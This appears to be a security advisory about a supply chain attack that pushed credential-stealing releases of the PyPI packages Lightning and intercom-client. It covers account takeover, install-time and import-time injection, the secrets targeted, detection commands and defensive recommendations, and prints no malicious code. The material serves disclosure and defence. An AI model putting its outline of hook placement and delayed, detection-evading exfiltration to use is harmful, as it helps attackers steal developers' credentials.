PyTorch Lightning and Intercom-client Hit in Supply Chain Attacks to Steal Credentials

Security researchers at Aikido Security, OX Security, Socket, and StepSecurity have jointly disclosed a software supply chain attack against two widely used Python packages on PyPI: Lightning — the popular PyTorch training framework — and Intercom-client, an SDK for the Intercom customer communication platform. Attackers managed to push malicious versions of both packages to the Python Package Index, embedding credential-stealing code that would execute on any system that installed the compromised releases.

What Was Compromised

Lightning (PyTorch Lightning)

Lightning (also known as PyTorch Lightning) is one of the most widely adopted Python packages in the machine learning ecosystem. It provides a high-level interface for training PyTorch models, abstracting away boilerplate code for distributed training, checkpointing, logging, and hardware acceleration. The package is used by ML researchers, data scientists, and AI engineering teams at organizations ranging from startups to major technology companies and academic institutions.

The malicious versions identified by researchers were 2.6.2 and at least one additional release in that version range. The attackers gained access to a maintainer account — likely through credential compromise, phishing, or reuse of leaked credentials — and published builds that appeared legitimate but contained embedded malware designed to exfiltrate sensitive data from developer machines and CI/CD pipeline environments.

Intercom-client

The Intercom-client package, used to integrate Intercom's customer messaging API into Python applications, was targeted in what appears to be a parallel or coordinated attack. Like the Lightning compromise, a malicious version was published to PyPI under the package's existing name, creating a window during which developers installing or updating the package would receive the backdoored version.

How the Attack Was Structured

Supply chain attacks against PyPI packages have followed a consistent playbook in recent years, and this incident follows the same pattern:

Maintainer Account Compromise

The most likely entry point is compromise of an existing maintainer account. PyPI accounts without phishing-resistant multi-factor authentication are vulnerable to credential stuffing (using previously leaked username/password combinations), SIM swapping, or targeted phishing.

Once an attacker controls a trusted maintainer account, they can publish any version to an existing package — including one that appears to increment the version number normally, passing casual scrutiny.

Malicious Code Injection

The injected code in compromised PyPI packages typically takes one of several forms:

• Pre-install hooks that execute when pip install runs the package's setup.py or pyproject.toml build scripts
• Import-time execution embedded in __init__.py that runs when the module is first imported
• Delayed exfiltration that activates only in certain environments (CI/CD systems, cloud environments) to avoid detection during local development

In the Lightning and Intercom-client cases, the goal was credential theft — targeting environment variables, SSH keys, cloud provider credentials (AWS, GCP, Azure), API tokens, and similar secrets that would be present on developer workstations or in CI/CD environments.

Exfiltration Targets

ML development environments are particularly high-value targets for this type of attack because they commonly contain:

• Cloud provider access keys (for GPU instances, model storage, data lakes)
• Weights & Biases, MLflow, or other experiment tracking API tokens
• Hugging Face tokens (for private model and dataset access)
• GitHub, GitLab, or similar SCM platform tokens used in training pipelines
• Docker registry credentials
• Database connection strings used during data preprocessing

A successful compromise of a Lightning-based ML training environment could give attackers access to private model weights, proprietary training data, and cloud infrastructure used for large-scale compute.

Detection: Were You Affected?

Organizations using either package should check their environments immediately:

# Check installed version of lightning
pip show lightning | grep Version
 
# Check installed version of intercom-client
pip show intercom-client | grep Version
 
# Review pip install history for affected versions
pip list --format=freeze | grep -E "^lightning==|^intercom"
 
# Check if environment was exposed via pip audit
pip audit

If you have version 2.6.2 of Lightning installed, or any version of Intercom-client published during the affected window, treat the environment as potentially compromised. Rotate all credentials, API keys, and secrets that were accessible on the affected system.

CI/CD Pipeline Review

For organizations using these packages in automated pipelines:

# Review recent pipeline runs for unexpected network connections
# Check for outbound connections to unknown IPs during pip install steps
 
# Audit environment variable exposure in CI configs
grep -r "env\|secret\|token\|key" .github/workflows/ .gitlab-ci.yml

Any CI/CD system that ran a pipeline installing the compromised versions during the exposure window should be treated as potentially compromised.

The Broader Supply Chain Threat

This incident is the latest in a long series of PyPI supply chain attacks, joining a growing list of compromised packages that includes recent attacks on axios (npm), Trivy GitHub Actions tags, and numerous smaller packages. The pattern is consistent:

1. Gain control of a trusted package account
2. Publish a seemingly normal version increment
3. Harvest credentials silently for days or weeks
4. Withdraw before detection (or get caught by security researchers)

The Lightning compromise is notable for its scale of potential impact. The package has tens of millions of downloads and is embedded in ML workflows across the industry. Even a short exposure window with a malicious version could have touched thousands of developer environments and CI/CD pipelines before the attack was detected and the malicious versions pulled.

Multi-Vendor Response

The coordinated disclosure by Aikido Security, OX Security, Socket, and StepSecurity reflects an improving ecosystem of supply chain security tooling. Each vendor brings a different monitoring approach:

• Aikido Security and Socket perform behavioral analysis of new package versions, looking for unexpected network calls, file system access, or code patterns inconsistent with the package's stated function
• OX Security focuses on pipeline-level supply chain visibility
• StepSecurity monitors for GitHub Actions and CI/CD workflow tampering

The fact that multiple vendors identified this attack independently and coordinated disclosure suggests the security ecosystem is improving at catching these attacks — though the exposure window between malicious publish and detection remains a critical vulnerability.

Recommendations

1. Update both packages immediately to the latest clean versions from PyPI after the malicious releases have been removed
2. Rotate all credentials accessible in any environment that installed the compromised versions
3. Enable PyPI 2FA — all maintainers of popular packages should use hardware security keys or TOTP for PyPI account access
4. Pin dependencies — use a lockfile (requirements.txt with exact hashes, poetry.lock, or pip-compile) to prevent silent upgrades to new versions
5. Verify package hashes — use pip install --require-hashes with a known-good hash to validate package integrity
6. Deploy supply chain monitoring — tools from vendors like Socket, Aikido, or Snyk can detect behavioral anomalies in newly published package versions before they reach your environment